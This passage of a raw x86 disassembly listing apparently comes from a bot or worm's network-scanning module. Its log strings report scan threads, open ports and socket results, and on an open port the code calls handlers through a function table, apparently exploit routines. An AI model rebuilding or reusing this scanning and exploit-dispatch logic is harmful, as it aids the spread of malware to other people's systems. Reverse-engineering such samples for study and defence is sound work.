		call	sub_4020BD
		mov	al, 1
		jmp	loc_42156B
sub_421170	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D20	proc near		; CODE XREF: sub_401131j

arg_A6		= dword	ptr  0AAh

		mov	eax, [esp+arg_A6]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		mov	ecx, ds:dword_43C330[eax*4]
		inc	ecx
		mov	ds:dword_43C330[eax*4],	ecx
		mov	al, 1
		retn
sub_421D20	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D50	proc near		; CODE XREF: sub_401CC1j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		call	ds:dword_4B3CB8
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset dword_43BB9C
		push	offset dword_4B1C98
		call	ds:dword_4B3C18
		mov	eax, offset dword_4B1C98
		add	esp, 2Ch
		retn
sub_421D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421E10	proc near		; CODE XREF: sub_401DF2j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, ds:dword_4AFD40[esi*8]
		push	eax
		call	ds:dword_4B3C7C
		inc	eax
		push	eax
		call	ds:dword_4B3C78
		mov	ds:dword_4AFD40[esi*8],	eax
		pop	esi
		retn
sub_421E10	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421E50	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_421E82
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_421E82:				; CODE XREF: sub_421E50+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset dword_43BB9C
		push	edx
		call	ds:dword_4B3A70
		mov	eax, [esp+34h+var_8]
		mov	esi, ds:dword_4B3A9C
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_421EBA
		call	esi
		mov	[esp+1Ch+var_8], eax


loc_421EBA:				; CODE XREF: sub_421E50+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_421EC6
		call	esi
		mov	[esp+1Ch+var_C], eax


loc_421EC6:				; CODE XREF: sub_421E50+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_421ED2
		call	esi
		mov	[esp+1Ch+var_10], eax


loc_421ED2:				; CODE XREF: sub_421E50+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_421EDC
		call	esi


loc_421EDC:				; CODE XREF: sub_421E50+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	ds:dword_4AFD40[ecx*8],	eax
		pop	ebx
		add	esp, 10h
		retn
sub_421E50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F40	proc near		; CODE XREF: sub_401D07j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		call	ds:dword_4B3CAC
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_421F6E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_421F6E:				; CODE XREF: sub_421F40+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		call	ds:dword_4B3CB0
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		call	ds:dword_4B3C74
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4B3CB4
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		call	ds:dword_4B3C5C
		push	esi
		mov	edi, eax
		call	ds:dword_4B3CA8
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_421F40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_422030:				; CODE XREF: _294ADE7B:00401041j
					; DATA XREF: sub_412570+B7o
		mov	eax, 10110h
		call	sub_430390
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4B3CB0
		push	esi
		push	edi
		push	2649h
		call	ebp
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp
		mov	[esp+26h], ax
		call	ds:dword_4B3A9C
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401942
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		call	ds:dword_4B3CAC
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_422159
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_422258
; ---------------------------------------------------------------------------


loc_422159:				; CODE XREF: _294ADE7B:0042214Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		call	ds:dword_4B3C84
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_4221B2
		call	ds:dword_4B3C60
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		call	ds:dword_4B3C18
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010BE
		add	esp, 14h
		push	esi
		call	ds:dword_4B3CA8
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_4221B2:				; CODE XREF: _294ADE7B:00422177j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_422203
		mov	edi, ds:dword_4B3C80


loc_4221DA:				; CODE XREF: _294ADE7B:00422201j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi
		test	eax, eax
		jl	short loc_422232
		cmp	[esp+0FEh], bp
		jnz	short loc_4221DA


loc_422203:				; CODE XREF: _294ADE7B:004221D2j
		push	esi
		call	ds:dword_4B3CA8
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_422253
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010BE
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_422232:				; CODE XREF: _294ADE7B:004221F7j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010BE
		add	esp, 4
		push	esi
		call	ds:dword_4B3CA8
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_422253:				; CODE XREF: _294ADE7B:00422213j
		push	offset aSocketClosed_ ;	"Socket	closed."


loc_422258:				; CODE XREF: _294ADE7B:00422154j
		call	sub_4010BE
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_422300:				; CODE XREF: sub_401DDEj
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		call	ds:dword_4B38D0
		push	eax
		call	ds:dword_4B3AA0
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:441E23h[eax*4]
		mov	eax, ds:dword_442027[eax*4]
		mov	ecx, ds:dword_4AFD44[eax*8]
		test	ecx, ecx
		jz	loc_4225B4
		mov	ebx, ds:dword_4B3C18


loc_42237C:				; CODE XREF: _294ADE7B:004225AAj
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_422397
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401113
		add	esp, 8
		jmp	short loc_42239F
; ---------------------------------------------------------------------------


loc_422397:				; CODE XREF: _294ADE7B:00422386j
		call	sub_401DF2
		add	esp, 4


loc_42239F:				; CODE XREF: _294ADE7B:00422395j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, ds:dword_4B3CA0
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx
		add	esp, 18h
		lea	ecx, [esp+220h]
		push	ecx
		push	ebp
		call	ebx
		mov	edx, [esp+138h]
		mov	eax, [esp+134h]
		push	edx
		push	eax
		push	esi
		call	sub_401D07
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_422590
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_4224B2
		push	offset dword_4B1C80
		call	ds:dword_4B3868
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_422492
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_42246D
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_42248A
; ---------------------------------------------------------------------------


loc_42246D:				; CODE XREF: _294ADE7B:00422449j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_42248A:				; CODE XREF: _294ADE7B:0042246Bj
		call	sub_4014BF
		add	esp, 10h


loc_422492:				; CODE XREF: _294ADE7B:0042243Ej
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010BE
		add	esp, 4
		push	offset dword_4B1C80
		call	ds:dword_4B386C
		jmp	loc_422590
; ---------------------------------------------------------------------------


loc_4224B2:				; CODE XREF: _294ADE7B:00422406j
		push	esi
		call	edi
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx
		mov	eax, [esp+150h]
		add	esp, 8
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+1F8h]
		lea	edx, ds:43C300h[ecx*4]
		push	edx
		push	eax
		call	ebx
		mov	al, [esp+0B0h]
		add	esp, 8
		test	al, al
		jz	short loc_422502
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_42250F
; ---------------------------------------------------------------------------


loc_422502:				; CODE XREF: _294ADE7B:004224EEj
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_42250F:				; CODE XREF: _294ADE7B:00422500j
		call	ebx
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	ds:off_43C32C[edx*4]
		add	esp, 0BCh


loc_422590:				; CODE XREF: _294ADE7B:004223F8j
					; _294ADE7B:004224ADj
		push	7D0h
		call	ds:dword_4B38CC
		mov	eax, [ebp+204h]
		mov	ecx, ds:dword_4AFD44[eax*8]
		test	ecx, ecx
		jnz	loc_42237C
		mov	esi, [esp+10h]


loc_4225B4:				; CODE XREF: _294ADE7B:00422370j
		push	esi
		call	sub_401CEE
		add	esp, 4
		push	0
		call	ds:dword_4B3870
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_422690:				; CODE XREF: sub_4020BDj
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		call	ds:dword_4B3CBC
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	ds:dword_4AFD40[ecx*8],	eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_40142E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_422711
		push	offset dword_4B1C80
		call	ds:dword_4B385C
		push	offset dword_4B1C80
		call	ds:dword_4B3860


loc_422711:				; CODE XREF: _294ADE7B:004226F9j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, ds:dword_4B38CC
		mov	esi, ebx
		mov	ds:dword_4AFD44[edx*8],	ebx
		cmp	eax, ebx
		mov	ebx, ds:dword_4B3C18
		jb	loc_422840
		mov	edi, ds:dword_4B3864


loc_422742:				; CODE XREF: _294ADE7B:0042283Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401AD7
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset sub_401DDE
		push	0
		push	0
		mov	ds:dword_442027[edx*4],	eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	ds:dword_442037[edx*4],	eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, ds:dword_442037[eax*4]
		test	ecx, ecx
		jz	short loc_422808
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42282E


loc_4227F7:				; CODE XREF: _294ADE7B:00422804j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_4227F7
		jmp	short loc_42282E
; ---------------------------------------------------------------------------


loc_422808:				; CODE XREF: _294ADE7B:004227EAj
		call	ds:dword_4B3898
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010BE
		add	esp, 10h


loc_42282E:				; CODE XREF: _294ADE7B:004227F5j
					; _294ADE7B:00422806j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_422742


loc_422840:				; CODE XREF: _294ADE7B:00422736j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42286E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_4228A1
; ---------------------------------------------------------------------------


loc_42286E:				; CODE XREF: _294ADE7B:00422849j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	ds:dword_4AFD44[ecx*8],	esi
		jnz	short loc_4228A1


loc_422883:				; CODE XREF: _294ADE7B:00422898j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	ds:dword_4AFD44[edx*8],	esi
		jz	short loc_422883
		mov	eax, [esp+12Ch]


loc_4228A1:				; CODE XREF: _294ADE7B:0042286Cj
					; _294ADE7B:00422881j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, ds:dword_4AFD40[ecx*8]
		push	ecx
		call	ds:dword_4B3CA0
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_422902
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_4014BF
		add	esp, 10h


loc_422902:				; CODE XREF: _294ADE7B:004228DBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010BE
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	ds:dword_4AFD44[eax*8],	0
		call	ebp
		push	3
		call	sub_40142E
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_422944
		push	offset dword_4B1C80
		call	ds:dword_4B385C


loc_422944:				; CODE XREF: _294ADE7B:00422937j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401CEE
		add	esp, 4
		push	0
		call	ds:dword_4B3870
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422A20	proc near		; CODE XREF: sub_401271j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_422A20	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_422A40:				; CODE XREF: _294ADE7B:0040156Ej
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_40177B
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422A90	proc near		; CODE XREF: sub_40177Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		call	ds:dword_4B3AB0
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_422AE2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_422AE2:				; CODE XREF: sub_422A90+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_422A90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422B10	proc near		; CODE XREF: sub_402040j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		call	ds:dword_4B3AB0
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_422B84
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_422B84:				; CODE XREF: sub_422B10+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_422B10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422BB0	proc near		; CODE XREF: sub_401627j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_422BC3
		push	eax
		call	ds:dword_4B3AAC
		add	esp, 4


loc_422BC3:				; CODE XREF: sub_422BB0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_422BB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422BF0	proc near		; CODE XREF: sub_401091j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_422C07
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_422C07:				; CODE XREF: sub_422BF0+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		call	ds:dword_4B3AB0
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_422C35
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_422C35:				; CODE XREF: sub_422BF0+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_422C64
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_422C7F
; ---------------------------------------------------------------------------


loc_422C64:				; CODE XREF: sub_422BF0+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_422C7F:				; CODE XREF: sub_422BF0+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		call	ds:dword_4B3AAC
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_422BF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422CE0	proc near		; CODE XREF: sub_401A73j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset word_4B22F8
		lea	ecx, [esp+20h+var_8]
		call	sub_402040
		lea	ecx, [esp+10h+var_8]
		call	sub_401091
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		call	ds:dword_4B3AB0
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_422D25
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_422D25:				; CODE XREF: sub_422CE0+3Bj
